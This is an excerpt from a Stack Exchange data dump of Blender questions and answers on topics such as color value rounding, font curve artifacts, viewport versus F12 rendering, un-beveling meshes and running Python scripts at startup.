  <row Id="2726" PostTypeId="2" ParentId="2724" CreationDate="2013-09-05T20:43:01.390" Score="6" Body="&lt;p&gt;internally the value is stored as an 8-bit value (char C type, range 0..255). This means to get from the 0..1 range to the actual stored value, multiply by 255:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0.65 * 255 = 165.75 ~ 166 (rounded to integer)&#xA;0.1  * 255 = 25.5   ~ 26  (rounded to integer)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When 166 is in turn displayed in 0..1 range again, it gets divided by 255:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;166 / 255 = 0.650980392... ~ 0.651 (rounded to 3 digits)&#xA;26  / 255 = 0.101960784... ~ 0.102 (rounded to 3 digits)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the double rounding when entering and then displaying the value causes this slight error. If you read the same value and set it back again these errors will mount up, but otherwise it's not a big problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to cases like this where a color value is actually an 32-bit integer (8 per component) internally, there is also the usual issue of &lt;a href=&quot;http://en.wikipedia.org/wiki/Floating_point#Representable_numbers.2C_conversion_and_rounding&quot; rel=&quot;nofollow&quot;&gt;floating point representable numbers&lt;/a&gt;. But in this case the integer rounding overshadows it.&lt;/p&gt;&#xA;" OwnerUserId="436" LastEditorUserId="55" LastEditDate="2013-09-06T02:29:59.400" LastActivityDate="2013-09-06T02:29:59.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2727" PostTypeId="2" ParentId="2720" CreationDate="2013-09-05T21:17:23.707" Score="8" Body="&lt;p&gt;While this isn't a fault with blender's font parser I think I can offer some insight.&lt;/p&gt;&#xA;&lt;p&gt;To give this context, this doesn't only happen with fonts, it happens with all 2D Curves that self intersect when offset too.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/oGgPE.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Font Weights&lt;/h3&gt;&#xA;&lt;p&gt;If you have a bit of respect for typography then you don't 'fatten' fonts. Fonts are designed with certain visual &lt;em&gt;weights&lt;/em&gt; in mind, an indiscriminate offset messes with this delicate balance of geometry and empty space. As an example &lt;a href=&quot;http://www.linotype.com/2441/helvetica.html&quot; rel=&quot;noreferrer&quot;&gt;Helvetica&lt;/a&gt; has between 34 and 51 weights depending on flavour, each is 'fattened' by hand and tweaked in subtle ways.&lt;/p&gt;&#xA;&lt;p&gt;No doubt you don't have to pay any attention to what is considered &lt;em&gt;proper&lt;/em&gt; use of fonts, that's part of the fun. For the moment this is the way the Blender engine offsets 2D filled curves, without respect for potentially self-intersecting geometry. If you really want fatter letters but can't find the right weight in the font family then consider doing it in Inkscape/Illustrator, and importing as an SVG. SVG is imported as a 2D curve.&lt;/p&gt;&#xA;&lt;h3&gt;Other reasons a font may render poorly&lt;/h3&gt;&#xA;&lt;p&gt;Fonts or 'digital typefaces' vary in enormously in quality. A substantial amount of free fonts has defects that may not be immediately obvious in 2D graphics packages (they may have more elaborate font loading mechanisms).&lt;/p&gt;&#xA;&lt;p&gt;With the font you suggest, the area in question is tricking blender into thinking it has to deal with an extra line segment, this line segment however doesn't connect to any other segments and also doesn't form a closed loop with itself.&lt;/p&gt;&#xA;&lt;p&gt;In Inkscape if you pick this Embossed Font and make a text object, with just the uppercase L, and convert it to a path (Path &amp;gt; Object to Path) you will notice this stray line segment. It shouldn't be there, but it is. Inkscape ignored it, but includes the path anyway.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RxpUP.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is also exactly where blender throws its hands in the air.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S6UVP.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I'm sure if you inspect the other fonts where this peculiar stuff happens, they too suffer from stray line segments, and maybe self intersections.&lt;/p&gt;&#xA;&lt;h2&gt;A fix&lt;/h2&gt;&#xA;&lt;p&gt;You can edit fonts inside Blender, and remove the usual suspects.&lt;/p&gt;&#xA;&lt;p&gt;With the font in object mode, go to:&lt;br /&gt;&#xA;&lt;em&gt;Object -&amp;gt; Convert To -&amp;gt; Curve from Mesh / Text&lt;/em&gt;, or &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;em&gt;-&amp;gt; Curve from Mesh/text&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now you can deal with stray lines, (delete them) and still apply Extrude, etc.  Unfortunately this operation doesn't allow you to correct typos in the existing text object any more, because it has been converted to a Curve.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z8ztN.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-09-06T12:55:52.510" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2728" PostTypeId="1" AcceptedAnswerId="2730" CreationDate="2013-09-05T21:30:36.570" Score="22" ViewCount="5911" Body="&lt;p&gt;What are the technical differences between &lt;kbd&gt;F12&lt;/kbd&gt; render and viewport preview render, if any?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Getting_Started&quot;&gt;This&lt;/a&gt; is all the documentation I could find about Cycles viewport rendering:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;interactive rendering can be started by setting a 3D view editor to draw mode Rendered. The render will keep updating as material and object modifications are done. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-09-06T00:00:37.120" LastActivityDate="2019-06-22T01:26:37.310" Title="What are the technical differences between F12 render and viewport preview?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2729" PostTypeId="1" AcceptedAnswerId="2759" CreationDate="2013-09-05T22:53:25.567" Score="4" ViewCount="1187" Body="&lt;p&gt;How can I bevel a curve without fattening it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, beveling a mesh object will not increase the size, but beveling a curve will:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OUyPW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The obvious solution is simply to use the &lt;em&gt;Offset&lt;/em&gt; to counter the fattening cause by bevel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oQHLt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4q4f7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, using offset results in artifacts at sharp corners:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7daLv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I bevel a curve without increasing it's size?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-09-08T05:09:40.353" LastActivityDate="2013-09-12T16:21:33.577" Title="Bevel curves without fattening?" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2730" PostTypeId="2" ParentId="2728" CreationDate="2013-09-05T23:45:41.183" Score="28" Body="&lt;p&gt;The differences between render operator and viewport render are that the viewport render has:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Blender Internal&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Post_Process/Motion_Blur#Sampled_Motion_Blur&quot; rel=&quot;nofollow noreferrer&quot;&gt;motion blur (sampled)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;No &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/cycles/camera.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;panorama camera mode&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;No &lt;a href=&quot;https://www.blender.org/manual/render/blender_render/antialiasing.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;anti-aliasing&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Eevee&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Uses the &lt;em&gt;Viewport&lt;/em&gt; sampling setting&lt;/li&gt;&#xA;&lt;li&gt;No &lt;em&gt;Overscan&lt;/em&gt; (see &lt;a href=&quot;https://blender.stackexchange.com/q/121203/599&quot;&gt;Objects, shadows and reflections not rendering in EEVEE&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Unlike Cycles, motion blur is previewed (only in camera view)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Cycles&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No &lt;a href=&quot;https://www.blender.org/manual/render/cycles/settings/integrator.html#motion-blur&quot; rel=&quot;nofollow noreferrer&quot;&gt;motion blur&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;No tiled rendering.&lt;/li&gt;&#xA;&lt;li&gt;Uses &lt;a href=&quot;https://www.blender.org/manual/render/cycles/settings/integrator.html#sampling&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;preview&lt;/strong&gt; progressive samples setting&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.blender.org/manual/render/post_process/layers.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Render layer&lt;/a&gt; settings will be ignored.&lt;/li&gt;&#xA;&lt;li&gt;Pause and resume&lt;/li&gt;&#xA;&lt;li&gt;Uses dynamic BVH by default.&lt;br&gt;&lt;em&gt;See &lt;a href=&quot;https://blender.stackexchange.com/q/7510/599&quot;&gt;Why is rendered viewport faster than rendering individual frames?&lt;/a&gt; and &lt;a href=&quot;https://blender.stackexchange.com/q/32465/599&quot;&gt;What does static/dynamic BVH do?&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;All&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No &lt;a href=&quot;https://www.blender.org/manual/composite_nodes/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;compositing&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.blender.org/manual/modifiers/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Modifiers&lt;/a&gt; and objects preview settings are used:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.blender.org/manual/editors/outliner.html#toggling-object-level-restrictions&quot; rel=&quot;nofollow noreferrer&quot;&gt;Object render/preview visibility options&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.blender.org/manual/modifiers/introduction.html#interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;modifier&lt;/a&gt; render/preview visibility options.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.blender.org/manual/modifiers/generate/subsurf.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;subsurf&lt;/a&gt; preview/render resolution.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.blender.org/manual/modifiers/generate/multiresolution.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;multires&lt;/a&gt; preview/render resolution.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.blender.org/manual/modeling/curves/introduction.html#curve-properties&quot; rel=&quot;nofollow noreferrer&quot;&gt;curve&lt;/a&gt;/&lt;a href=&quot;https://www.blender.org/manual/modeling/metas/introduction.html#resolution&quot; rel=&quot;nofollow noreferrer&quot;&gt;metaball&lt;/a&gt; preview/render resolution&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Particle display percentage is used.&lt;/li&gt;&#xA;&lt;li&gt;A preview can be made from any view-port, a render can only be made from a camera object.&lt;/li&gt;&#xA;&lt;li&gt;No way to save output (except for a &lt;a href=&quot;https://docs.blender.org/manual/en/latest/editors/info/screen_capture.html#screenshots&quot; rel=&quot;nofollow noreferrer&quot;&gt;screenshot&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: I'm not sure if this list is complete, these may not be the &lt;strong&gt;only&lt;/strong&gt; differences.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="599" LastEditDate="2019-06-22T01:02:21.520" LastActivityDate="2019-06-22T01:02:21.520" CommentCount="7" CommunityOwnedDate="2013-09-18T01:44:39.350" ContentLicense="CC BY-SA 4.0" />
  <row Id="2733" PostTypeId="1" AcceptedAnswerId="58075" CreationDate="2013-09-06T04:47:18.043" Score="4" ViewCount="22556" Body="&lt;p&gt;Is there an easy way to un-bevel parts of a mesh that have been beveled?&lt;/p&gt;&#xA;&lt;p&gt;e.g. Convert this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y2tZw.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;into a normal cube?&lt;/p&gt;&#xA;&lt;h2&gt;Edit:&lt;/h2&gt;&#xA;&lt;p&gt;Is this possible with perhaps some trick of calculating where the original edge was and collapsing all the selected edges to that point? (python?)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2021-01-18T16:16:26.417" Title="Is it possible to de-bevel all or parts of a mesh?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;workflow&gt;&lt;editing&gt;" AnswerCount="5" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2734" PostTypeId="2" ParentId="2733" CreationDate="2013-09-06T05:00:10.407" Score="3" Body="&lt;h3&gt;Using the interactive bevel tool&lt;/h3&gt;&#xA;&lt;p&gt;No, this is not possible. Once you have made any changes to the settings in the &lt;em&gt;Toolshelf&lt;/em&gt; after using &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt; and deselected the mesh or completed the operation etc, these changes are now permanent. You can always eyeball it and try to get back the original shape but this can get cumbersome on even simple objects &lt;em&gt;(and is often not worth the effort)&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h3&gt;Using the modifier&lt;/h3&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZnyG5m.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is possible to an extent with the &lt;em&gt;Bevel Modifier&lt;/em&gt; as modifiers allow non-destructive editing and mesh deformation etc. You could create a vertex group of sides that you want to bevel and then just modify or remove as needed.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-09-06T05:23:33.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2735" PostTypeId="2" ParentId="2733" CreationDate="2013-09-06T05:22:06.280" Score="4" Body="&lt;p&gt;Provided your object is aligned to the global axis, this is possible, though somewhat cumbersome:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Extrude each end edge and move them so they meet:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZIrgk.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the extruded vertices selected, press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;em&gt;&amp;gt; Cursor to selected&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete the extruded verts&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the bevel vertices and press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;em&gt;&amp;gt; Selection to Cursor (Offset)&lt;/em&gt; one by one:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;&amp;gt; Remove Doubles&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xoWhB.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Some limitations are that it only works for edge bevels, can be tedious for high segment bevels, and is inaccurate when the object is not aligned to the world.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-09-13T00:35:11.233" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2736" PostTypeId="1" CreationDate="2013-09-06T09:01:33.607" Score="4" ViewCount="557" Body="&lt;p&gt;Do you know how could I render a scene with luxrender using the python API of blender and luxrender ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found their Python API, but I don't find a way to render the scene thanks to luxrender with a python script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My algortihm for the script would be :&#xA;- Load a scene with only one object&#xA;- Change the texture of the scene with a texture given in parameters&#xA;- Render the scene during 30s to 1min&#xA;- Save the image&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it doesn't seem complicated, but I don't know how to start&lt;/p&gt;&#xA;" OwnerUserId="1233" LastEditorUserId="151" LastEditDate="2013-11-06T11:29:51.837" LastActivityDate="2013-11-06T11:29:51.837" Title="Python scripting Blender with Luxrender" Tags="&lt;scripting&gt;&lt;python&gt;&lt;external-applications&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2737" PostTypeId="2" ParentId="2728" CreationDate="2013-09-06T10:33:51.253" Score="11" Body="&lt;p&gt;Not sure it classifies as purely technical but there are different flags that control if objects are visible in the view and in render. Hiding it in the view doesn't hide it in the render. This has bitten me more than once when I sent out preview test renders from viewport preview.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And of course the resolution is dependent on the viewport resolution when doing preview.&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="72" LastEditDate="2013-09-07T00:18:09.127" LastActivityDate="2013-09-07T00:18:09.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2738" PostTypeId="1" AcceptedAnswerId="2743" CreationDate="2013-09-06T16:41:40.800" Score="13" ViewCount="4648" Body="&lt;p&gt;I would like to have a few globally available functions which should &lt;em&gt;not&lt;/em&gt; not depend on a .blend file. &#xA;Is there a place (A &lt;code&gt;setup.py&lt;/code&gt;, &lt;code&gt;__init__.py&lt;/code&gt; or something like that) where I could put a few lines of code?&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="290" LastEditDate="2013-09-06T21:58:35.387" LastActivityDate="2021-05-09T20:43:20.460" Title="How could a single Python script run when Blender is started?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2739" PostTypeId="2" ParentId="485" CreationDate="2013-09-06T17:10:43.147" Score="7" Body="&lt;h3&gt;Sverchok&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;There is such a tool, it is called Sverchok. It's russian for &quot;Cricket&quot; as a sign of respect to Grasshopper. Sverchok is a Blender add-on that works on all platforms, and has over 180 node types. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The project github page: &lt;a href=&quot;https://github.com/nortikin/sverchok/&quot; rel=&quot;nofollow&quot;&gt;https://github.com/nortikin/sverchok/&lt;/a&gt; (including download links)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ask questions on the &lt;a href=&quot;https://github.com/nortikin/sverchok/issues&quot; rel=&quot;nofollow&quot;&gt;issue tracker&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To get a sense of what people are making with Sverchok checkout the google+ group   &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://plus.google.com/communities/113245231013159497850&quot; rel=&quot;nofollow&quot;&gt;sverchok community&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1235" LastEditorUserId="47" LastEditDate="2016-09-12T08:07:01.970" LastActivityDate="2016-09-12T08:07:01.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2740" PostTypeId="1" AcceptedAnswerId="2749" CreationDate="2013-09-06T17:25:40.193" Score="2" ViewCount="200" Body="&lt;p&gt;Input and output sockets do not work the same way. The picture seen sockets input and output node &quot;ObjectProps&quot;. The socket input button is drawn, while the output socket - no. Who knows the reason? How to make a button in the output socket?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wms2r.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1235" LastActivityDate="2013-10-10T13:21:19.837" Title="Bug of the socket output, is not it?" Tags="&lt;pynodes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2741" PostTypeId="1" AcceptedAnswerId="2756" CreationDate="2013-09-06T17:33:51.420" Score="5" ViewCount="8166" Body="&lt;p&gt;A google search found this demo of a mirror in the BGE &lt;a href=&quot;http://www.youtube.com/watch?v=1xXQ2ToolfE&quot; rel=&quot;nofollow&quot;&gt;Video:Mirror Made in Blender Game Engine&lt;/a&gt; but I can't find out how to setup the material. Unlike in the BI renderer the option &lt;em&gt;Mirror&lt;/em&gt; isn't available when in BGE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What tricks do I need to know?&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12" LastEditDate="2013-09-08T23:26:16.480" LastActivityDate="2014-06-07T18:17:58.763" Title="How can I create a mirror material for the game engine?" Tags="&lt;materials&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2742" PostTypeId="2" ParentId="2738" CreationDate="2013-09-06T18:07:08.203" Score="8" Body="&lt;p&gt;If it's for all of your Blender sessions, then you might be best creating a simple add-on with the functions you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's per .blend file, then you can use Blender's Text Editor within that file, store your python commands there, and enable the Register checkbox in the Text Editor's header. The only caveat to this approach is that you'll need to start Blender with the &lt;code&gt;-y&lt;/code&gt; flag so the embedded script will run on start.&lt;/p&gt;&#xA;" OwnerUserId="836" LastActivityDate="2013-09-06T18:07:08.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2743" PostTypeId="2" ParentId="2738" CreationDate="2013-09-06T21:53:05.740" Score="14" Body="&lt;p&gt;As &lt;a href=&quot;https://docs.blender.org/manual/en/dev/getting_started/installing/configuration/directories.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;documented in the manual&lt;/a&gt;, you can save your script in the &lt;code&gt;scripts/startup/&lt;/code&gt; directory with a &lt;code&gt;.py&lt;/code&gt; extension and it will be automatically imported on startup.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="20051" LastEditDate="2017-06-25T09:36:04.337" LastActivityDate="2017-06-25T09:36:04.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2744" PostTypeId="2" ParentId="2736" CreationDate="2013-09-07T02:33:39.033" Score="1" Body="&lt;p&gt;While not specific to luxrender, some steps you can do to help with scripting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find an interface item that performs the task you want to perform or displays the value you wish to change in your script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at the tooltips for the item, the data path or operator path is shown for most items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right clicking on an item allows you to &quot;Copy Data Path&quot;. Another option is &quot;Edit Source&quot; which will open the script responsible for drawing the item and will even place the cursor on the relevant line for you. Remember that some names used in the scripts will be variables that have been defined earlier in the script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example the Render button tooltip will show you &lt;code&gt;bpy.ops.render.render()&lt;/code&gt; that is the python line you put in your script to start rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The render menu at the top will show you &lt;code&gt;bpy.data.scenes[&quot;Scene&quot;].render.engine&lt;/code&gt; which is a way to access the render engine for a scene named &quot;Scene&quot;. Another way to access the same data is &lt;code&gt;bpy.context.scene.render.engine&lt;/code&gt; While bpy.data.scenes[] allows you to access a specific scene, bpy.context.scene gives you access to the current scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if &lt;code&gt;bpy.context.scene.render.engine&lt;/code&gt; equals 'LUXRENDER_RENDER' and you call &lt;code&gt;bpy.ops.render.render()&lt;/code&gt; then Luxrender will perform the rendering (as long as you have the luxblend25 addon installed and enabled)&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-09-07T02:33:39.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2745" PostTypeId="1" CreationDate="2013-09-07T03:59:21.310" Score="24" ViewCount="41881" Body="&lt;p&gt;I'm hoping this community can help me solve a issue.&#xA;I have created a cycles hair particle system to render grass. This is successful in rendering and works great. However I want to convert this particle system into a whole mesh (A patch of grass) so I can distribute it across the ground in my scene, rather than using tons of memory with hair particles alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two issues with converting the particle system into a mesh in the modifiers tab.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It only outputs the strand vertices rather than the faces of the cycles hair rendering such as in my case True-normal.&lt;/li&gt;&#xA;&lt;li&gt;The Material that is used in the particle system does not copy over or appear on the mesh. I presume this is something to do with the UVs as I am using the output intercept on a hair info node.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I'm hoping theres a solution within Blender or even a script that can help me with this process. Can you please help me out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TsBq4.png&quot; alt=&quot;Viewport&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C3hTq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="949" LastEditorUserId="599" LastEditDate="2013-10-01T21:01:01.850" LastActivityDate="2020-07-29T17:59:47.440" Title="Convert Cycles Hair Particle System to Mesh Object" Tags="&lt;cycles-render-engine&gt;&lt;mesh&gt;&lt;modifiers&gt;&lt;conversion&gt;&lt;particles&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="2746" PostTypeId="2" ParentId="2741" CreationDate="2013-09-07T08:15:01.803" Score="7" Body="&lt;p&gt;It is possible by using &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_62_1/bge.texture.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bge.texture.ImageMirror&lt;/code&gt;&lt;/a&gt;.&#xA;Basically the mirror objects texture is frame by frame replaced with a video-texture which is captured by another camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nDIRb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;a href=&quot;http://www.tutorialsforblender3d.com/Game_Engine/VideoTexture/VideoTexture_Mirror_1.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;tutorial and an example&lt;/strong&gt;&lt;/a&gt; .blend file which works with Blender 2.68.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="58" LastEditDate="2013-09-07T22:34:57.450" LastActivityDate="2013-09-07T22:34:57.450" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
